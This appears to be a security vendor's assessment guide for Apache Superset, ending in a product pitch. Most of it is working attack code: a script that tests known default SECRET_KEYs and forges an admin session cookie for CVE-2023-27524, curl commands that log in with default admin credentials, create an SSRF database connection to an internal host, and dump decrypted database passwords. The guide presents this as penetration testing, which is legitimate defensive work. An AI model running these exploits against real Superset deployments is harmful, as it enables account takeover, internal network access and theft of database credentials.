Apache Superset is a popular open-source business intelligence and data visualization platform, widely deployed by data teams for dashboards and SQL-based analytics. Its security profile includes several critical issues: CVE-2023-27524 (CVSS 9.8) revealed that many Apache Superset deployments used the insecure default SECRET_KEY value thisISaSECRET_1234 — since Flask session cookies are signed with this key, any attacker who knows the secret can forge an admin session cookie and gain full Superset access without credentials; default credentials admin/general remain unchanged in many Docker-based deployments; Superset's database connection feature allows users with the "Database access" permission to specify arbitrary SQLAlchemy connection URIs including internal PostgreSQL, MySQL, and SQLite servers enabling SSRF and extraction of internal database credentials; Jinja2 templating in SQL queries, when enabled, allows template injection leading to information disclosure; and the Superset API exposes all configured database connection strings including embedded passwords to admin users. This guide covers systematic Apache Superset security assessment.
CVE-2023-27524 (CVSS 9.8) is the most critical Apache Superset vulnerability: many deployments retained the default SECRET_KEY = 'thisISaSECRET_1234' value from the Superset Docker example configuration. Flask uses this key to cryptographically sign session cookies — knowing the key allows forging a valid admin session cookie without any credentials.
# CVE-2023-27524: Test if Superset is using the default SECRET_KEY
# The following common default keys have been observed in deployments:
DEFAULT_KEYS=(
"thisISaSECRET_1234"
"CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET"
"your-secret-key-here"
"superset"
)
# Install flask-unsign for session cookie forgery testing (authorized testing only)
# pip install flask-unsign
# Get an existing session cookie from the login page (unauthenticated cookie)
SESSION_COOKIE=$(curl -s -c /tmp/superset_cookies \
"https://superset.example.com/login/" 2>/dev/null | grep -oE 'session=[^;]+' | head -1)
echo "Captured session: ${SESSION_COOKIE}"
# For each default key, attempt to decode and re-sign the session cookie
for KEY in "${DEFAULT_KEYS[@]}"; do
# Use flask-unsign to check if this key signed the cookie
RESULT=$(python3 -c "
import flask_unsign
cookie = '${SESSION_COOKIE#session=}'
try:
if flask_unsign.verify(cookie, '${KEY}', legacy=True):
decoded = flask_unsign.decode(cookie)
print(f'KEY MATCH: ${KEY}')
print(f'Decoded session: {decoded}')
elif flask_unsign.verify(cookie, '${KEY}'):
decoded = flask_unsign.decode(cookie)
print(f'KEY MATCH (modern): ${KEY}')
print(f'Decoded: {decoded}')
except Exception as e:
pass
" 2>/dev/null)
if [ -n "$RESULT" ]; then
echo "$RESULT"
break
fi
done
# If default key confirmed, forge an admin session cookie
# (AUTHORIZED TESTING ONLY)
python3 -c "
import flask_unsign
# Forge admin session
admin_session = {'_fresh': True, '_permanent': True, 'user_id': 1}
forged = flask_unsign.sign(admin_session, secret='thisISaSECRET_1234')
print(f'Forged admin cookie: {forged}')
print('Use with: -H \"Cookie: session={forged}\"')
" 2>/dev/null
# Superset allows creating database connections via the UI or API
# Users with database creation permissions can specify arbitrary SQLAlchemy URIs
# This enables connecting to internal databases not directly accessible
# With admin or database-creation permission, create a database connection to an internal host
# This demonstrates SSRF via SQLAlchemy's database driver network stack
# Get authentication token first
TOKEN=$(curl -s -X POST "https://superset.example.com/api/v1/security/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"general","provider":"db","refresh":true}' 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
# Create a database connection pointing to an internal service (SSRF)
# Internal PostgreSQL at 10.0.0.5 — bypasses network restrictions
curl -s -X POST "https://superset.example.com/api/v1/database/" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"database_name": "internal-db",
"sqlalchemy_uri": "postgresql://admin:password@10.0.0.5:5432/internal_db",
"expose_in_sqllab": true
}' 2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
print(f'Database created: {d.get(\"id\",\"failed\")}')
" 2>/dev/null
# List all database connections (credentials accessible to admin)
curl -s "https://superset.example.com/api/v1/database/" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | \
python3 -c "
import json,sys
d = json.load(sys.stdin)
for db in d.get('result', []):
uri = db.get('sqlalchemy_uri_decrypted', db.get('sqlalchemy_uri',''))
print(f\"{db['database_name']}: {uri}\")
" 2>/dev/null
FEATURE_FLAGS = {"ENABLE_TEMPLATE_PROCESSING": False} unless specifically needed| Security Test | Method | Risk |
|---|---|---|
| CVE-2023-27524 default SECRET_KEY session cookie forgery | flask-unsign against known default keys — forge admin session without credentials on pre-2.1.0 deployments | Critical |
| Default admin/general credentials | POST /api/v1/security/login with admin/general — common in Docker deployments from official examples | Critical |
| SQLAlchemy URI SSRF to internal databases | Create database connection with internal host URI — connects to PostgreSQL/MySQL/SQLite on internal network | High |
| Database credentials exposed via API | GET /api/v1/database/ with admin token — returns sqlalchemy_uri_decrypted with embedded passwords | High |
| Jinja2 template injection in SQL queries | Execute query with Jinja2 payload when ENABLE_TEMPLATE_PROCESSING is true — information disclosure | High |
| All dashboard data accessible to any authenticated user | Access dashboards with viewer credentials — verify row-level security is implemented for sensitive data | Medium |
Ironimo tests Apache Superset deployments for CVE-2023-27524 default SECRET_KEY enabling session cookie forgery and instant admin access, default admin/general credentials from Docker example configurations, SQLAlchemy database URI injection allowing connections to internal network databases unreachable from the attacker's position, database connection strings including passwords exposed via the admin API, Jinja2 SQL template injection when template processing is enabled, and Superset instances accessible from the internet without VPN or network boundary protection.
Start free scan